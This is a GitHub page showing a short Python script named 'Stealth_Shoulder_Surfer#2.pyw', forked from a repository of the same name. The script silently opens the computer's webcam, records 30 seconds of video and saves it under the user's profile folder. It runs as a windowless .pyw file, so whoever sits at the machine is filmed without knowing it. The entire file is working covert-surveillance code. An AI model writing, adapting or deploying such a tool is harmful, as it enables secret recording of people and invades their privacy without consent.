forked from JonnyBanana/Stealth_Shoulder_Surfer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Stealth_Shoulder_Surfer#2.pyw
47 lines (35 loc) · 1.19 KB
/
Stealth_Shoulder_Surfer#2.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import cv2
import os
import time
def record_video_and_save():
# Access the camera (0 is usually the default camera)
cap = cv2.VideoCapture(0)
if not cap.isOpened():
return
# Get the user's home directory
user_profile = os.getenv('USERPROFILE')
base_name = 'ciak'
video_path = os.path.join(user_profile, f'{base_name}.avi')
# Check if the file already exists and find a unique name
counter = 1
while os.path.exists(video_path):
video_path = os.path.join(user_profile, f'{base_name}_{counter}.avi')
counter += 1
# Define the codec and create VideoWriter object
fourcc = cv2.VideoWriter_fourcc(*'XVID')
out = cv2.VideoWriter(video_path, fourcc, 20.0, (640, 480))
start_time = time.time()
duration = 30 # duration time in seconds
while True:
ret, frame = cap.read()
if not ret:
break
out.write(frame)
elapsed_time = time.time() - start_time
if elapsed_time > duration:
break
# Release everything if job is finished
cap.release()
out.release()
if __name__ == "__main__":
record_video_and_save()